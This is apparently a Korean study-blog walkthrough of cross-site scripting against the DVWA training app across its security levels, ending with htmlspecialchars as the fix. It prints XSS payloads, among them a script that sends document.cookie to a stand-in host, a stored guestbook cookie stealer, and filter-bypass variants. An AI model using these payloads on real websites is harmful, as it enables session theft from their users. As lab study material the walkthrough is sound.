본문 바로가기

Hacking Study/Web Hacking

[DVWA] XSS(크로스 사이트 스크립팅) 공격

Security Level : low

 

1. 리플렉티드 XSS

공격자가 만든 악성 스크립트가 서버에 저장되지 않고, 사용자가 특정 URL이나 입력값에 의해 즉시 실행되는 방식입니다. alice를 입력해보면 입력한 값이 그대로 리턴됩니다.

 

 

크로스 사이트 스크립팅 취약점이 있다면 아래 그림과 같이 스크립트가 실행됩니다. alert 함수에 의해서 1이라는 값이 출력되었습니다.

 

 

이번에는 <script>alert(document.cookie)</script>를 입력하여 쿠키의 값을 출력합니다.

 

 

쿠키값을 다른 시스템으로 전달해봅니다. 먼저 터미널에서 tail f /opt/lampp.logs.access.log를 실행하여 로그를 확인합니다. 브라우저에서<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>를 입력하고 로그를 보니 쿠키값이 출력되었습니다.

 

 

 

2. 스토어드 XSS

공격자가 입력한 악성 스크립트가 서버에 저장되어, 여러 사용자가 해당 데이터를 열람할 때마다 스크립트가 실행되는 방식입니다. 먼저 쿠키를 탈취하는 스크립트를 방명록에 작성합니다.

 

 

 

방명록에 접속하자마자 스크립트가 실행되었습니다. 이렇게 방명록이 요청될 때마다 각 사용자의 쿠키 정보가 스크립트를 통해서 해커에게 전달됩니다.

 

 

 

Security Level : medium

 

 

소스 코드를 보니 str_replace 함수를 이용해서 스크립트 태그를 지우고 있습니다. 하지만 여기서는 소문자로만 검사하고 있습니다.

 

 

스크립트를 대문자로 입력합니다.

 

 

대문자로 입력하니 스크립트가 실행되었습니다.

 

 

그리고 스크립트를 한 번만 지우기 때문에 스크립트 사이에 또 스크립트를 입력해봅니다.

 

 

마찬가지로 스크립트가 실행되었습니다.

 

 

 

 

Security Level : high

 

정규식을 이용하여 대소문자를 구분하고 각 문자 사이에 시도되는 우회 공격도 모두 방어하고 있습니다.

 

 

하지만 스크립트 태그만 막고 있기 때문에 HTML 태그를 이용할 수 있습니다. 이미지 태그를 사용해보겠습니다. <img src=x onerror-window.location.assign("http://127.0.0.1/hacked.php")>를 입력합니다.

 

 

해킹당했다는 내용만 표시되게 만들었지만 실제 상황에서는 해커가 각종 악성 코드를 심어놓을 수 있습니다.

 

 

 

 

Security Level : impossible

 

스크립트 코드를 입력했더니 입력했던 값이 그대로 문자열로 출력되었습니다.

 

 

소스 코드를 보니 htmlspecialchars함수를 사용하고 있습니다. 이 함수는 PHP에서 HTML 특수문자를 안전하게 변환해주는 함수입니다.

 

 

스크립트 alert(1)에서 태그에 사용되는 괄호 문자가 전부 &lt;처럼 변경되었습니다. 이렇게 크로스 사이트 스트립팅을 막기 위해서는 특수문자들을 변환시켜 주어야 합니다.

 

 

 

'Hacking Study > Web Hacking' 카테고리의 다른 글

[DVWA] 캡차(CAPTCHA) 공격  (0) 2024.05.27
[DVWA] 커맨드 인젝션 공격  (0) 2024.05.25
[DVWA] SQL 인젝션 공격  (1) 2024.05.24
[DVWA] 브루트 포스 공격  (0) 2024.05.24
정보 수집과 대응 방법  (0) 2024.05.23